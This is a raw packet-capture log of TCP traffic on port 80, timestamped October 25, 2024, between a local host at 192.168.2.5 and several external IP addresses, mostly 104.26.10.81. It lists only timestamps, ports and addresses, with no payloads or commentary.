Oct 25, 2024 11:17:44.714570999 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.825912952 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.825949907 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.825969934 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.826141119 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.826148033 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.826200008 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.826231956 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.826237917 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.826271057 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.826288939 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.826306105 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.826350927 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.826350927 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.826370001 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827004910 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827043056 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827073097 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827074051 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827112913 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827115059 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827115059 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827150106 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827157021 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827182055 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827291012 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827449083 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827481031 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827517033 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827536106 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827552080 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827596903 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827596903 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827651024 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827682972 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827717066 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827749014 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827766895 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827766895 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827783108 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827812910 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827819109 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.827861071 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.827861071 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.828118086 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828166962 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828169107 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.828202963 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828226089 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.828239918 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828274965 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828280926 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.828280926 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.828306913 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828330994 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.828341961 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828373909 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828386068 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.828408957 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828459024 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.828459024 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.828854084 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828886986 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828921080 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828938007 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.828938007 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.828953981 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.828974009 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.828989029 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.829020977 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.829054117 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.829065084 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.829065084 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.829087019 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.829111099 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.829119921 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.829142094 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.829153061 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.829189062 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.829199076 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.829199076 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.829473972 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.829619884 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.829653978 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.829689980 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.829691887 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.829735041 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.829735041 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.829814911 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.829849958 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.829893112 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.829893112 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.831749916 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.831784010 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.831816912 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.831820011 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.831820011 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.831932068 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.831993103 CEST	52677	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:17:44.832304001 CEST	52667	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:17:44.837455988 CEST	80	52677	103.224.182.241	192.168.2.5
Oct 25, 2024 11:17:44.837538958 CEST	52677	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:17:44.837794065 CEST	80	52667	85.131.197.10	192.168.2.5
Oct 25, 2024 11:17:44.870743036 CEST	52677	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:17:44.871887922 CEST	52672	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:17:44.876111984 CEST	80	52677	103.224.182.241	192.168.2.5
Oct 25, 2024 11:17:44.877643108 CEST	80	52672	208.109.214.162	192.168.2.5
Oct 25, 2024 11:17:44.926866055 CEST	80	52616	217.19.237.54	192.168.2.5
Oct 25, 2024 11:17:44.926918983 CEST	52616	80	192.168.2.5	217.19.237.54
Oct 25, 2024 11:17:44.943439007 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943504095 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943556070 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943568945 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.943584919 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.943591118 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943613052 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.943625927 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943676949 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943679094 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.943679094 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.943711042 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943722963 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.943746090 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943797112 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943830967 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943849087 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943851948 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.943881035 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943897009 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.943909883 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.943913937 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943945885 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.943965912 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.943965912 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.943988085 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.944026947 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.944675922 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.944708109 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.944720984 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.944741964 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.944753885 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.944776058 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.944794893 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.944808960 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.944827080 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.944859982 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.944894075 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.944935083 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.944935083 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.944942951 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.944977999 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.944998026 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945007086 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945019960 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945039988 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945091009 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945106030 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945138931 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945147038 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945173979 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945205927 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945213079 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945213079 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945239067 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945267916 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945277929 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945303917 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945355892 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945358992 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945391893 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945413113 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945425987 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945436001 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945458889 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945472956 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945492029 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945525885 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945528030 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945575953 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945609093 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945631027 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945641041 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945668936 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945674896 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945708036 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945713997 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945713997 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945739031 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945769072 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945771933 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945796967 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945806980 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945821047 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945842028 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.945848942 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.945902109 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.983393908 CEST	80	52673	5.196.166.214	192.168.2.5
Oct 25, 2024 11:17:44.983567953 CEST	52673	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:17:44.983645916 CEST	80	52673	5.196.166.214	192.168.2.5
Oct 25, 2024 11:17:44.983700037 CEST	52673	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:17:44.984580040 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.984730959 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.984736919 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.984765053 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.984778881 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.984798908 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.984816074 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.984848022 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.984849930 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.984883070 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.984922886 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.984925032 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.984925032 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.984972000 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.984975100 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985008001 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985059023 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985070944 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985105038 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985111952 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985146046 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985174894 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985184908 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985184908 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985219002 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985225916 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985260010 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985291958 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985325098 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985333920 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985333920 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985353947 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985374928 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985387087 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985403061 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985435963 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985440969 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985465050 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985497952 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985531092 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985543013 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985558987 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985580921 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985619068 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985625029 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985625029 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985652924 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985678911 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985687971 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985693932 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985721111 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985739946 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985754967 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985788107 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985788107 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985788107 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985822916 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985829115 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985869884 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985878944 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985903978 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985937119 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.985956907 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985956907 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.985970020 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986005068 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986005068 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986037970 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986041069 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986041069 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986072063 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986103058 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986120939 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986123085 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986155987 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986188889 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986190081 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986222029 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986229897 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986229897 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986255884 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986278057 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986289024 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986321926 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986330032 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986330032 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986355066 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986387968 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986402035 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986402035 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986421108 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986454010 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986458063 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986458063 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986488104 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.986514091 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.986537933 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.992115021 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.992149115 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.992198944 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.992232084 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.992281914 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.992291927 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.992291927 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.992291927 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.992315054 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.992322922 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.992348909 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.992382050 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.992393017 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.992393017 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.992417097 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:44.992438078 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:44.992475033 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.020466089 CEST	80	52672	208.109.214.162	192.168.2.5
Oct 25, 2024 11:17:45.021370888 CEST	52672	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:17:45.060956955 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.060988903 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061024904 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061085939 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061113119 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061163902 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061172962 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061197042 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061218023 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061230898 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061264992 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061269045 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061269045 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061297894 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061326027 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.061331987 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.061346054 CEST	52664	80	192.168.2.5	104.26.10.81
